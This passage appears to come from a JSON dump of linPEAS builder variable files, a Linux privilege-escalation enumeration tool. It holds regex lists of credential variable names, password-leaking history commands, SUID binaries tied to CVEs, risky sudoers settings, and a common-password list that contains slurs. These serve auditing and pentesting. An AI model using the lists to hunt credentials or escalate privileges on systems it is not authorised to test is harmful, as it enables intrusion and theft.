_ID|YT_PARTNER_CLIENT_ID|YT_PARTNER_CLIENT_SECRET|YT_PARTNER_ID|YT_PARTNER_REFRESH_TOKEN|YT_SERVER_API_KEY|ZHULIANG_GH_TOKEN|ZOPIM_ACCOUNT_KEY|USERNAME|PASSWORD|PASSWD|CREDENTIALS?\"\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/variables/pwd_inside_history.sh",
    "content": "# Title: Variables - pwd_inside_history\n# ID: pwd_inside_history\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Common binaries executed with passwords on the arguments\n# License: GNU GPL\n# Version: 1.0\n# Functions Used:\n# Global Variables:\n# Initial Functions:\n# Generated Global Variables: $pwd_inside_history\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\npwd_inside_history=\"az login|enable_autologin|7z|unzip|useradd|linenum|linpeas|mkpasswd|htpasswd|openssl|PASSW|passw|shadow|roadrecon auth|root|snyk|sudo|^su|pkexec|^ftp|mongo|psql|mysql|rdesktop|Save-AzContext|xfreerdp|^ssh|steghide|@|KEY=|TOKEN=|BEARER=|Authorization:|chpasswd\"\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/variables/rootcommon.sh",
    "content": "# Title: Variables - rootcommon\n# ID: rootcommon\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Common root processes\n# License: GNU GPL\n# Version: 1.0\n# Functions Used:\n# Global Variables:\n# Initial Functions:\n# Generated Global Variables: $rootcommon\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nrootcommon=\"/init$|upstart-udev-bridge|udev|/getty|cron|apache2|java|tomcat|/vmtoolsd|/VGAuthService\""
  },
  {
    "path": "linPEAS/builder/linpeas_parts/variables/shscripsG.sh",
    "content": "# Title: Variables - shscripsG\n# ID: shscripsG\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Known scripts\n# License: GNU GPL\n# Version: 1.0\n# Functions Used: \n# Global Variables:\n# Initial Functions:\n# Generated Global Variables: $shscripsG\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nshscripsG=\"/0trace.sh|/alsa-info.sh|amuFormat.sh|/blueranger.sh|/crosh.sh|/dnsmap-bulk.sh|/dockerd-rootless.sh|/dockerd-rootless-setuptool.sh|/get_bluetooth_device_class.sh|/gettext.sh|/go-rhn.sh|/gvmap.sh|/kernel_log_collector.sh|/lesspipe.sh|/lprsetup.sh|/mksmbpasswd.sh|/pm-utils-bugreport-info.sh|/power_report.sh|/prl-opengl-switcher.sh|/setuporamysql.sh|/setup-nsssysinit.sh|/readlink_f.sh|/rescan-scsi-bus.sh|/start_bluetoothd.sh|/start_bluetoothlog.sh|/testacg.sh|/testlahf.sh|/unix-lpr.sh|/url_handler.sh|/write_gpt.sh\"\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/variables/sidB.sh",
    "content": "# Title: Variables - sidB\n# ID: sidB\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Dangerous sid binaries\n# License: GNU GPL\n# Version: 1.0\n# Functions Used:\n# Global Variables:\n# Initial Functions:\n# Generated Global Variables: $sidB\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\n#Rules: Start path \" /\", end path \"$\", divide path and vulnversion \"%\". SPACE IS ONLY ALLOWED AT BEGINNING, DONT USE IT IN VULN DESCRIPTION\nsidB=\"/apache2$%Read_root_passwd__apache2_-f_/etc/shadow\\(CVE-2019-0211\\)\\\n /at$%RTru64_UNIX_4.0g\\(CVE-2002-1614\\)\\\n /abrt-action-install-debuginfo-to-abrt-cache$%CENTOS 7.1/Fedora22\\\n /chfn$%SuSE_9.3/10\\\n /chkey$%Solaris_2.5.1\\\n /chkperm$%Solaris_7.0_\\\n /chpass$%2Vulns:OpenBSD_6.1_to_OpenBSD 6.6\\(CVE-2019-19726\\)--OpenBSD_2.7_i386/OpenBSD_2.6_i386/OpenBSD_2.5_1999/08/06/OpenBSD_2.5_1998/05/28/FreeBSD_4.0-RELEASE/FreeBSD_3.5-RELEASE/FreeBSD_3.4-RELEASE/NetBSD_1.4.2\\\n /chpasswd$%SquirrelMail\\(2004-04\\)\\\n /dtappgather$%Solaris_7_<_11_\\(SPARC/x86\\)\\(CVE-2017-3622\\)\\\n /dtprintinfo$%Solaris_10_\\(x86\\)_and_lower_versions_also_SunOS_5.7_to_5.10\\\n /dtsession$%Oracle_Solaris_10_1/13_and_earlier\\(CVE-2020-2696\\)\\\n /enlightenment_backlight$%Before_0.25.4_\\(CVE-2022-37706\\)\\\n /enlightenment_ckpasswd$%Before_0.25.4_\\(CVE-2022-37706\\)\\\n /enlightenment_sys$%Before_0.25.4_\\(CVE-2022-37706\\)\\\n /eject$%FreeBSD_mcweject_0.9/SGI_IRIX_6.2\\\n /ibstat$%IBM_AIX_Version_6.1/7.1\\(09-2013\\)\\\n /kcheckpass$%KDE_3.2.0_<-->_3.4.2_\\(both_included\\)\\\n /kdesud$%KDE_1.1/1.1.1/1.1.2/1.2\\\n /keybase-redirector%CentOS_Linux_release_7.4.1708\\\n /login$%IBM_AIX_3.2.5/SGI_IRIX_6.4\\\n /lpc$%S.u.S.E_Linux_5.2\\\n /lpr$%BSD/OS2.1/FreeBSD2.1.5/NeXTstep4.x/IRIX6.4/SunOS4.1.3/4.1.4\\(09-1996\\)\\\n /mail.local$%NetBSD_7.0-7.0.1__6.1-6.1.5__6.0-6.0.6\\\n /mount$%Apple_Mac_OSX\\(Lion\\)_Kernel_xnu-1699.32.7_except_xnu-1699.24.8\\\n /movemail$%Emacs\\(08-1986\\)\\\n /mrinfo$%NetBSD_Sep_17_2002_https://securitytracker.com/id/1005234\\\n /mtrace$%NetBSD_Sep_17_2002_https://securitytracker.com/id/1005234\\\n /netprint$%IRIX_5.3/6.2/6.3/6.4/6.5/6.5.11\\\n /newgrp$%HP-UX_10.20\\\n /ntfs-3g$%Debian9/8/7/Ubuntu/Gentoo/others/Ubuntu_Server_16.10_and_others\\(02-2017\\)\\\n /passwd$%Apple_Mac_OSX\\(03-2006\\)/Solaris_8/9\\(12-2004\\)/SPARC_8/9/Sun_Solaris_2.3_to_2.5.1\\(02-1997\\)\\\n /pkexec$%Linux4.10_to_5.1.17\\(CVE-2019-13272\\)/rhel_6\\(CVE-2011-1485\\)/Generic_CVE-2021-4034\\\n /pppd$%Apple_Mac_OSX_10.4.8\\(05-2007\\)\\\n /pt_chown$%GNU_glibc_2.1/2.1.1_-6\\(08-1999\\)\\\n /pulseaudio$%\\(Ubuntu_9.04/Slackware_12.2.0\\)\\\n /rcp$%RedHat_6.2\\\n /rdist$%Solaris_10/OpenSolaris\\\n /rsh$%Apple_Mac_OSX_10.9.5/10.10.5\\(09-2015\\)\\\n /screen$%GNU_Screen_4.5.0\\\n /sdtcm_convert$%Sun_Solaris_7.0\\\n /sendmail$%Sendmail_8.10.1/Sendmail_8.11.x/Linux_Kernel_2.2.x_2.4.0-test1_\\(SGI_ProPack_1.2/1.3\\)\\\n /snap-confine$%Ubuntu_snapd<2.37_dirty_sock_Local_Privilege_Escalation\\(CVE-2019-7304\\)\\\n /sudo%check_if_the_sudo_version_is_vulnerable\\\n /Serv-U%FTP_Server<15.1.7(CVE-2019-12181)\\\n /sudoedit$%Sudo/SudoEdit_1.6.9p21/1.7.2p4/\\(RHEL_5/6/7/Ubuntu\\)/Sudo<=1.8.14\\\n /tmux$%Tmux_1.3_1.4_privesc\\(CVE-2011-1496\\)\\\n /traceroute$%LBL_Traceroute_\\[2000-11-15\\]\\\n /ubuntu-core-launcher$%Befre_1.0.27.1\\(CVE-2016-1580\\)\\\n /umount$%BSD/Linux\\(08-1996\\)\\\n /umount-loop$%Rocks_Clusters<=4.1\\(07-2006\\)\\\n /uucp$%Taylor_UUCP_1.0.6\\\n /XFree86$%XFree86_X11R6_3.3.x/4.0/4.x/3.3\\(03-2003\\)\\\n /xlock$%BSD/OS_2.1/DG/UX_7.0/Debian_1.3/HP-UX_10.34/IBM_AIX_4.2/SGI_IRIX_6.4/Solaris_2.5.1\\(04-1997\\)\\\n /xscreensaver%Solaris_11.x\\(CVE-2019-3010\\)\\\n /xorg$%Xorg_1.19_to_1.20.x\\(CVE_2018-14665\\)/xorg-x11-server<=1.20.3/AIX_7.1_\\(6.x_to_7.x_should_be_vulnerable\\)_X11.base.rte<7.1.5.32_and_\\\n /xterm$%Solaris_5.5.1_X11R6.3\\(05-1997\\)/Debian_xterm_version_222-1etch2\\(01-2009\\)\""
  },
  {
    "path": "linPEAS/builder/linpeas_parts/variables/sidG.sh",
    "content": "# Title: Variables - sidG1\n# ID: sidG\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Known SUID files\n# License: GNU GPL\n# Version: 1.0\n# Functions Used:\n# Global Variables:\n# Initial Functions:\n# Generated Global Variables: $sidG1, $sidG2, $sidG3, $sidG4\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nsidG1=\"/abuild-sudo$|/accton$|/allocate$|/ARDAgent$|/arping$|/atq$|/atrm$|/authpf$|/authpf-noip$|/authopen$|/batch$|/bbsuid$|/bsd-write$|/btsockstat$|/bwrap$|/cacaocsc$|/camel-lock-helper-1.2$|/ccreds_validate$|/cdrw$|/chage$|/check-foreground-console$|/chrome-sandbox$|/chsh$|/cons.saver$|/crontab$|/ct$|/cu$|/dbus-daemon-launch-helper$|/deallocate$|/desktop-create-kmenu$|/dma$|/dma-mbox-create$|/dmcrypt-get-device$|/doas$|/dotlockfile$|/dotlock.mailutils$|/dtaction$|/dtfile$|/eject$|/execabrt-action-install-debuginfo-to-abrt-cache$|/execdbus-daemon-launch-helper$|/execdma-mbox-create$|/execlockspool$|/execlogin_chpass$|/execlogin_lchpass$|/execlogin_passwd$|/execssh-keysign$|/execulog-helper$|/exim4|/expiry$|/fdformat$|/fstat$|/fusermount$|/fusermount3$\"\nsidG2=\"/gnome-pty-helper$|/glines$|/gnibbles$|/gnobots2$|/gnome-suspend$|/gnometris$|/gnomine$|/gnotski$|/gnotravex$|/gpasswd$|/gpg$|/gpio$|/gtali|/.hal-mtab-lock$|/helper$|/imapd$|/inndstart$|/kismet_cap_nrf_51822$|/kismet_cap_nxp_kw41z$|/kismet_cap_ti_cc_2531$|/kismet_cap_ti_cc_2540$|/kismet_cap_ubertooth_one$|/kismet_capture$|/kismet_cap_linux_bluetooth$|/kismet_cap_linux_wifi$|/kismet_cap_nrf_mousejack$|/ksu$|/list_devices$|/load_osxfuse$|/locate$|/lock$|/lockdev$|/lockfile$|/login_activ$|/login_crypto$|/login_radius$|/login_skey$|/login_snk$|/login_token$|/login_yubikey$|/lpc$|/lpd$|/lpd-port$|/lppasswd$|/lpq$|/lpr$|/lprm$|/lpset$|/lxc-user-nic$|/mahjongg$|/mail-lock$|/mailq$|/mail-touchlock$|/mail-unlock$|/mksnap_ffs$|/mlocate$|/mlock$|/mount$|/mount.cifs$|/mount.ecryptfs_private$|/mount.nfs$|/mount.nfs4$|/mount_osxfuse$|/mtr$|/mutt_dotlock$\"\nsidG3=\"/ncsa_auth$|/netpr$|/netkit-rcp$|/netkit-rlogin$|/netkit-rsh$|/netreport$|/netstat$|/newgidmap$|/newtask$|/newuidmap$|/nvmmctl$|/opieinfo$|/opiepasswd$|/pam_auth$|/pam_extrausers_chkpwd$|/pam_timestamp_check$|/pamverifier$|/pfexec$|/hping3$|/ping$|/ping6$|/pmconfig$|/pmap$|/polkit-agent-helper-1$|/polkit-explicit-grant-helper$|/polkit-grant-helper$|/polkit-grant-helper-pam$|/polkit-read-auth-helper$|/polkit-resolve-exe-helper$|/polkit-revoke-helper$|/polkit-set-default-helper$|/postdrop$|/postqueue$|/poweroff$|/ppp$|/procmail$|/pstat$|/pt_chmod$|/pwdb_chkpwd$|/quota$|/rcmd|/remote.unknown$|/rlogin$|/rmformat$|/rnews$|/run-mailcap$|/sacadm$|/same-gnome$|screen.real$|/security_authtrampoline$|/sendmail.sendmail$|/shutdown$|/skeyaudit$|/skeyinfo$|/skeyinit$|/sliplogin|/slocate$|/smbmnt$|/smbumount$|/smpatch$|/smtpctl$|/sperl5.8.8$|/ssh-agent$|/ssh-keysign$|/staprun$|/startinnfeed$|/stclient$|/su$|/suexec$|/sys-suspend$|/sysstat$|/systat$\"\nsidG4=\"/telnetlogin$|/timedc$|/tip$|/top$|/traceroute6$|/traceroute6.iputils$|/trpt$|/tsoldtlabel$|/tsoljdslabel$|/tsolxagent$|/ufsdump$|/ufsrestore$|/ulog-helper$|/umount.cifs$|/umount.nfs$|/umount.nfs4$|/unix_chkpwd$|/uptime$|/userhelper$|/userisdnctl$|/usernetctl$|/utempter$|/utmp_update$|/uucico$|/uuglist$|/uuidd$|/uuname$|/uusched$|/uustat$|/uux$|/uuxqt$|/VBoxHeadless$|/VBoxNetAdpCtl$|/VBoxNetDHCP$|/VBoxNetNAT$|/VBoxSDL$|/VBoxVolInfo$|/VirtualBoxVM$|/vmstat$|/vmware-authd$|/vmware-user-suid-wrapper$|/vmware-vmx$|/vmware-vmx-debug$|/vmware-vmx-stats$|/vncserver-x11$|/volrmmount$|/w$|/wall$|/whodo$|/write$|/X$|/Xorg.wrap$|/Xsun$|/Xvnc$|/yppasswd$\"\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/variables/sidVB.sh",
    "content": "# Title: Variables - sidVB\n# ID: sidVB\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Very dangerous sid binaries\n# License: GNU GPL\n# Version: 1.0\n# Functions Used:\n# Global Variables:\n# Initial Functions:\n# Generated Global Variables: $sidVB, $sidVB2\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nsidVB='peass{SUIDVB1_HERE}'\nsidVB2='peass{SUIDVB2_HERE}'\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/variables/sudoB.sh",
    "content": "# Title: Variables - sudoB\n# ID: sudoB\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Known dangerous sudoers configs\n# License: GNU GPL\n# Version: 1.0\n# Functions Used:\n# Global Variables:\n# Initial Functions:\n# Generated Global Variables: $sudoB\n# Fat linpeas: 0\n# Small linpeas: 1\n\nsudoB=\"$(whoami)|ALL:ALL|ALL : ALL|ALL|env_keep|NOPASSWD|SETENV|/apache2|/cryptsetup|/mount|/restic|/usermod|/sbin/ldconfig|/usr/sbin/ldconfig|ldconfig -f|--password-command|--password-file|-o ProxyCommand|-o PreferredAuthentications\"\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/variables/sudoG.sh",
    "content": "# Title: Variables - sudo\n# ID: sudoG\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Good sudoers configuration\n# License: GNU GPL\n# Version: 1.0\n# Functions Used:\n# Global Variables:\n# Initial Functions:\n# Generated Global Variables: $sudoG\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nsudoG=\"NOEXEC\""
  },
  {
    "path": "linPEAS/builder/linpeas_parts/variables/sudoVB1.sh",
    "content": "# Title: Variables - sudoVB1\n# ID: sudoVB1\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Very bad sudoers configuration\n# License: GNU GPL\n# Version: 1.0\n# Functions Used:\n# Global Variables:\n# Initial Functions:\n# Generated Global Variables: $sudoVB1, $sudoVB2\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nsudoVB1=\" \\*|env_keep\\W*\\+=.*LD_PRELOAD|env_keep\\W*\\+=.*LD_LIBRARY_PATH|env_keep\\W*\\+=.*BASH_ENV|env_keep\\W*\\+=.* ENV|env_keep\\W*\\+=.*PATH|!env_reset|!requiretty|peass{SUDOVB1_HERE}\"\nsudoVB2=\"peass{SUDOVB2_HERE}\"\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/variables/sudovB.sh",
    "content": "# Title: Variables - sudovB\n# ID: sudovB\n# Author: Carlos Polop\n# Last Update: 26-02-2026\n# Description: Sudo version bad regex\n# License: GNU GPL\n# Version: 1.0\n# Functions Used:\n# Global Variables: \n# Initial Functions:\n# Generated Global Variables: $sudovB\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nsudovB=\"[01].[012345678].[0-9]+|1.9.[01234][^0-9]|1.9.[01234]$|1.9.5p1|1\\.9\\.[6-9]|1\\.9\\.1[0-6]|1\\.9\\.17([^p]|$)\"\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/variables/timersG.sh",
    "content": "# Title: Variables - timersG\n# ID: timersG\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Known good timers\n# License: GNU GPL\n# Version: 1.0\n# Functions Used: \n# Global Variables:\n# Initial Functions:\n# Generated Global Variables: $timersG\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\ntimersG=\"anacron.timer|apt-daily.timer|apt-daily-upgrade.timer|dpkg-db-backup.timer|e2scrub_all.timer|exim4-base.timer|fstrim.timer|fwupd-refresh.timer|geoipupdate.timer|io.netplan.Netplan|logrotate.timer|man-db.timer|mlocate.timer|motd-news.timer|phpsessionclean.timer|plocate-updatedb.timer|snapd.refresh.timer|snapd.snap-repair.timer|systemd-tmpfiles-clean.timer|systemd-readahead-done.timer|ua-license-check.timer|ua-messaging.timer|ua-timer.timer|ureadahead-stop.timer\"\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/variables/top2000pwds.sh",
    "content": "# Title: Variables - top2000pwds\n# ID: top2000pwds\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Top 2000 passwords\n# License: GNU GPL\n# Version: 1.0\n# Functions Used: \n# Global Variables:\n# Initial Functions:\n# Generated Global Variables: $top2000pwds\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\ntop2000pwds=\"123456 password 123456789 12345678 12345 qwerty 123123 111111 abc123 1234567 dragon 1q2w3e4r sunshine 654321 master 1234 football 1234567890 000000 computer 666666 superman michael internet iloveyou daniel 1qaz2wsx monkey shadow jessica letmein baseball whatever princess abcd1234 123321 starwars 121212 thomas zxcvbnm trustno1 killer welcome jordan aaaaaa 123qwe freedom password1 charlie batman jennifer 7777777 michelle diamond oliver mercedes benjamin 11111111 snoopy samantha victoria matrix george alexander secret cookie asdfgh 987654321 123abc orange fuckyou asdf1234 pepper hunter silver joshua banana 1q2w3e chelsea 1234qwer summer qwertyuiop phoenix andrew q1w2e3r4 elephant rainbow mustang merlin london garfield robert chocolate 112233 samsung qazwsx matthew buster jonathan ginger flower 555555 test caroline amanda maverick midnight martin junior 88888888 anthony jasmine creative patrick mickey 123 qwerty123 cocacola chicken passw0rd forever william nicole hello yellow nirvana justin friends cheese tigger mother liverpool blink182 asdfghjkl andrea spider scooter richard soccer rachel purple morgan melissa jackson arsenal 222222 qwe123 gabriel ferrari jasper danielle bandit angela scorpion prince maggie austin veronica nicholas monster dexter carlos thunder success hannah ashley 131313 stella brandon pokemon joseph asdfasdf 999999 metallica december chester taylor sophie samuel rabbit crystal barney xxxxxx steven ranger patricia christian asshole spiderman sandra hockey angels security parker heather 888888 victor harley 333333 system slipknot november jordan23 canada tennis qwertyui casper gemini asd123 winter hammer cooper america albert 777777 winner charles butterfly swordfish popcorn penguin dolphin carolina access 987654 hardcore corvette apples 12341234 sabrina remember qwer1234 edward dennis cherry sparky natasha arthur vanessa marina leonardo johnny dallas antonio winston \\\nsnickers olivia nothing iceman destiny coffee apollo 696969 windows williams school madison dakota angelina anderson 159753 1111 yamaha trinity rebecca nathan guitar compaq 123123123 toyota shannon playboy peanut pakistan diablo abcdef maxwell golden asdasd 123654 murphy monica marlboro kimberly gateway bailey 00000000 snowball scooby nikita falcon august test123 sebastian panther love johnson godzilla genesis brandy adidas zxcvbn wizard porsche online hello123 fuckoff eagles champion bubbles boston smokey precious mercury lauren einstein cricket cameron angel admin napoleon mountain lovely friend flowers dolphins david chicago sierra knight yankees wilson warrior simple nelson muffin charlotte calvin spencer newyork florida fernando claudia basketball barcelona 87654321 willow stupid samson police paradise motorola manager jaguar jackie family doctor bullshit brooklyn tigers stephanie slayer peaches miller heaven elizabeth bulldog animal 789456 scorpio rosebud qwerty12 franklin claire american vincent testing pumpkin platinum louise kitten general united turtle marine icecream hacker darkness cristina colorado boomer alexandra steelers serenity please montana mitchell marcus lollipop jessie happy cowboy 102030 marshall jupiter jeremy gibson fucker barbara adrian 1qazxsw2 12344321 11111 startrek fishing digital christine business abcdefg nintendo genius 12qwaszx walker q1w2e3 player legend carmen booboo tomcat ronaldo people pamela marvin jackass google fender asdfghjk Password 1q2w3e4r5t zaq12wsx scotland phantom hercules fluffy explorer alexis walter trouble tester qwerty1 melanie manchester gordon firebird engineer azerty 147258 virginia tiger simpsons passion lakers james angelica 55555 vampire tiffany september private maximus loveme isabelle isabella eclipse dreamer changeme cassie badboy 123456a stanley sniper rocket passport pandora justice infinity cookies barbie xavier unicorn superstar \\\nstephen rangers orlando money domino courtney viking tucker travis scarface pavilion nicolas natalie gandalf freddy donald captain abcdefgh a1b2c3d4 speedy peter nissan loveyou harrison friday francis dancer 159357 101010 spitfire saturn nemesis little dreams catherine brother birthday 1111111 wolverine victory student france fantasy enigma copper bonnie teresa mexico guinness georgia california sweety logitech julian hotdog emmanuel butter beatles 11223344 tristan sydney spirit october mozart lolita ireland goldfish eminem douglas cowboys control cheyenne alex testtest stargate raiders microsoft diesel debbie danger chance asdf anything aaaaaaaa welcome1 qwert hahaha forest eternity disney denise carter alaska zzzzzz titanic shorty shelby pookie pantera england chris zachary westside tamara password123 pass maryjane lincoln willie teacher pierre michael1 leslie lawrence kristina kawasaki drowssap college blahblah babygirl avatar alicia regina qqqqqq poohbear miranda madonna florence sapphire norman hamilton greenday galaxy frankie black awesome suzuki spring qazwsxedc magnum lovers liberty gregory 232323 twilight timothy swimming super stardust sophia sharon robbie predator penelope michigan margaret jesus hawaii green brittany brenda badger a1b2c3 444444 winnie wesley voodoo skippy shithead redskins qwertyu pussycat houston horses gunner fireball donkey cherokee australia arizona 1234abcd skyline power perfect lovelove kermit kenneth katrina eugene christ thailand support special runner lasvegas jason fuckme butthead blizzard athena abigail 8675309 violet tweety spanky shamrock red123 rascal melody joanna hello1 driver bluebird biteme atlantis arnold apple alison taurus random pirate monitor maria lizard kevin hummer holland buffalo 147258369 007007 valentine roberto potter magnolia juventus indigo indian harvey duncan diamonds daniela christopher bradley bananas warcraft sunset simone renegade \\\nredsox philip monday mohammed indiana energy bond007 avalon terminator skipper shopping scotty savannah raymond morris mnbvcxz michele lucky lucifer kingdom karina giovanni cynthia a123456 147852 12121212 wildcats ronald portugal mike helpme froggy dragons cancer bullet beautiful alabama 212121 unknown sunflower sports siemens santiago kathleen hotmail hamster golfer future father enterprise clifford christina camille camaro beauty 55555555 vision tornado something rosemary qweasd patches magic helena denver cracker beaver basket atlanta vacation smiles ricardo pascal newton jeffrey jasmin january honey hollywood holiday gloria element chandler booger angelo allison action 99999999 target snowman miguel marley lorraine howard harmony children celtic beatrice airborne wicked voyager valentin thx1138 thumper samurai moonlight mmmmmm karate kamikaze jamaica emerald bubble brooke zombie strawberry spooky software simpson service sarah racing qazxsw philips oscar minnie lalala ironman goddess extreme empire elaine drummer classic carrie berlin asdfg 22222222 valerie tintin therock sunday skywalker salvador pegasus panthers packers network mission mark legolas lacrosse kitty kelly jester italia hiphop freeman charlie1 cardinal bluemoon bbbbbb bastard alyssa 0123456789 zeppelin tinker surfer smile rockstar operator naruto freddie dragonfly dickhead connor anaconda amsterdam alfred a12345 789456123 77777777 trooper skittles shalom raptor pioneer personal ncc1701 nascar music kristen kingkong global geronimo germany country christmas bernard benson wrestling warren techno sunrise stefan sister savage russell robinson oracle millie maddog lightning kingston kennedy hannibal garcia download dollar darkstar brutus bobby autumn webster vanilla undertaker tinkerbell sweetpea ssssss softball rafael panasonic pa55word keyboard isabel hector fisher dominic darkside cleopatra blue assassin amelia vladimir roland \\\nnigger national monique molly matthew1 godfather frank curtis change central cartman brothers boogie archie warriors universe turkey topgun solomon sherry sakura rush2112 qwaszx office mushroom monika marion lorenzo john herman connect chopper burton blondie bitch bigdaddy amber 456789 1a2b3c4d ultimate tequila tanner sweetie scott rocky popeye peterpan packard loverboy leonard jimmy harry griffin design buddha 1 wallace truelove trombone toronto tarzan shirley sammy pebbles natalia marcel malcolm madeline jerome gilbert gangster dingdong catalina buddy blazer billy bianca alejandro 54321 252525 111222 0000 water sucker rooster potato norton lucky1 loving lol123 ladybug kittycat fuck forget flipper fireman digger bonjour baxter audrey aquarius 1111111111 pppppp planet pencil patriots oxford million martha lindsay laura jamesbond ihateyou goober giants garden diana cecilia brazil blessing bishop bigdog airplane Password1 tomtom stingray psycho pickle outlaw number1 mylove maurice madman maddie lester hendrix hellfire happy1 guardian flamingo enter chichi 0987654321 western twister trumpet trixie socrates singer sergio sandman richmond piglet pass123 osiris monkey1 martina justine english electric church castle caesar birdie aurora artist amadeus alberto 246810 whitney thankyou sterling star ronnie pussy printer picasso munchkin morpheus madmax kaiser julius imperial happiness goodluck counter columbia campbell blessed blackjack alpha 999999999 142536 wombat wildcat trevor telephone smiley saints pretty oblivion newcastle mariana janice israel imagine freedom1 detroit deedee darren catfish adriana washington warlock valentina valencia thebest spectrum skater sheila shaggy poiuyt member jessica1 jeremiah jack insane iloveu handsome goldberg gabriela elijah damien daisy buttons blabla bigboy apache anthony1 a1234567 xxxxxxxx toshiba tommy sailor peekaboo motherfucker montreal manuel madrid kramer \\\nkatherine kangaroo jenny immortal harris hamlet gracie fucking firefly chocolat bentley account 321321 2222 1a2b3c thompson theman strike stacey science running research polaris oklahoma mariposa marie leader julia island idontknow hitman german felipe fatcat fatboy defender applepie annette 010203 watson travel sublime stewart steve squirrel simon sexy pineapple phoebe paris panzer nadine master1 mario kelsey joker hongkong gorilla dinosaur connie bowling bambam babydoll aragorn andreas 456123 151515 wolves wolfgang turner semperfi reaper patience marilyn fletcher drpepper dorothy creation brian bluesky andre yankee wordpass sweet spunky sidney serena preston pauline passwort original nightmare miriam martinez labrador kristin kissme henry gerald garrett flash excalibur discovery dddddd danny collins casino broncos brendan brasil apple123 yvonne wonder window tomato sundance sasha reggie redwings poison mypassword monopoly mariah margarita lionking king football1 director darling bubba biscuit 44444444 wisdom vivian virgin sylvester street stones sprite spike single sherlock sandy rocker robin matt marianne linda lancelot jeanette hobbes fred ferret dodger cotton corona clayton celine cannabis bella andromeda 7654321 4444 werewolf starcraft sampson redrum pyramid prodigy paul michel martini marathon longhorn leopard judith joanne jesus1 inferno holly harold happy123 esther dudley dragon1 darwin clinton celeste catdog brucelee argentina alpine 147852369 wrangler william1 vikings trigger stranger silvia shotgun scarlett scarlet redhead raider qweasdzxc playstation mystery morrison honda february fantasia designer coyote cool bulldogs bernie baby asdfghj angel1 always adam 202020 wanker sullivan stealth skeeter saturday rodney prelude pingpong phillip peewee peanuts peace nugget newport myself mouse memphis lover lancer kristine james1 hobbit halloween fuckyou1 finger fearless dodgers delete cougar \\\ncharmed cassandra caitlin bismillah believe alice airforce 7777 viper tony theodore sylvia suzanne starfish sparkle server samsam qweqwe public pass1234 neptune marian krishna kkkkkk jungle cinnamon bitches 741852 trojan theresa sweetheart speaker salmon powers pizza overlord michaela meredith masters lindsey history farmer express escape cuddles carson candy buttercup brownie broken abc12345 aardvark Passw0rd 141414 124578 123789 12345678910 00000 universal trinidad tobias thursday surfing stuart stinky standard roller porter pearljam mobile mirage markus loulou jjjjjj herbert grace goldie frosty fighter fatima evelyn eagle desire crimson coconut cheryl beavis anonymous andres africa 134679 whiskey velvet stormy springer soldier ragnarok portland oranges nobody nathalie malibu looking lemonade lavender hitler hearts gotohell gladiator gggggg freckles fashion david1 crusader cosmos commando clover clarence center cadillac brooks bronco bonita babylon archer alexandre 123654789 verbatim umbrella thanks sunny stalker splinter sparrow selena russia roberts register qwert123 penguins panda ncc1701d miracle melvin lonely lexmark kitkat julie graham frances estrella downtown doodle deborah cooler colombia chemistry cactus bridge bollocks beetle anastasia 741852963 69696969 unique sweets station showtime sheena santos rock revolution reading qwerasdf password2 mongoose marlene maiden machine juliet illusion hayden fabian derrick crazy cooldude chipper bomber blonde bigred amazing aliens abracadabra 123qweasd wwwwww treasure timber smith shelly sesame pirates pinkfloyd passwords nature marlin marines linkinpark larissa laptop hotrod gambit elvis education dustin devils damian christy braves baller anarchy white valeria underground strong poopoo monalisa memory lizzie keeper justdoit house homer gerard ericsson emily divine colleen chelsea1 cccccc camera bonbon billie bigfoot badass asterix anna animals \\\nandy achilles a1s2d3f4 violin veronika vegeta tyler test1234 teddybear tatiana sporting spartan shelley sharks respect raven pentium papillon nevermind marketing manson madness juliette jericho gabrielle fuckyou2 forgot firewall faith evolution eric eduardo dagger cristian cavalier canadian bruno blowjob blackie beagle admin123 010101 together spongebob snakes sherman reddog reality ramona puppies pedro pacific pa55w0rd omega noodle murray mollie mister halflife franco foster formula1 felix dragonball desiree default chris1 bunny bobcat asdf123 951753 5555 242424 thirteen tattoo stonecold stinger shiloh seattle santana roger roberta rastaman pickles orion mustang1 felicia dracula doggie cucumber cassidy britney brianna blaster belinda apple1 753951 teddy striker stevie soleil snake skateboard sheridan sexsex roxanne redman qqqqqqqq punisher panama paladin none lovelife lights jerry iverson inside hornet holden groovy gretchen grandma gangsta faster eddie chevelle chester1 carrot cannon button administrator a 1212 zxc123 wireless volleyball vietnam twinkle terror sandiego rose pokemon1 picture parrot movies moose mirror milton mayday maestro lollypop katana johanna hunting hudson grizzly gorgeous garbage fish ernest dolores conrad chickens charity casey blueberry blackman blackbird bill beckham battle atlantic wildfire weasel waterloo trance storm singapore shooter rocknroll richie poop pitbull mississippi kisses karen juliana james123 iguana homework highland fire elliot eldorado ducati discover computer1 buddy1 antonia alphabet 159951 123456789a 1123581321 0123456 zaq1xsw2 webmaster vagina unreal university tropical swimmer sugar southpark 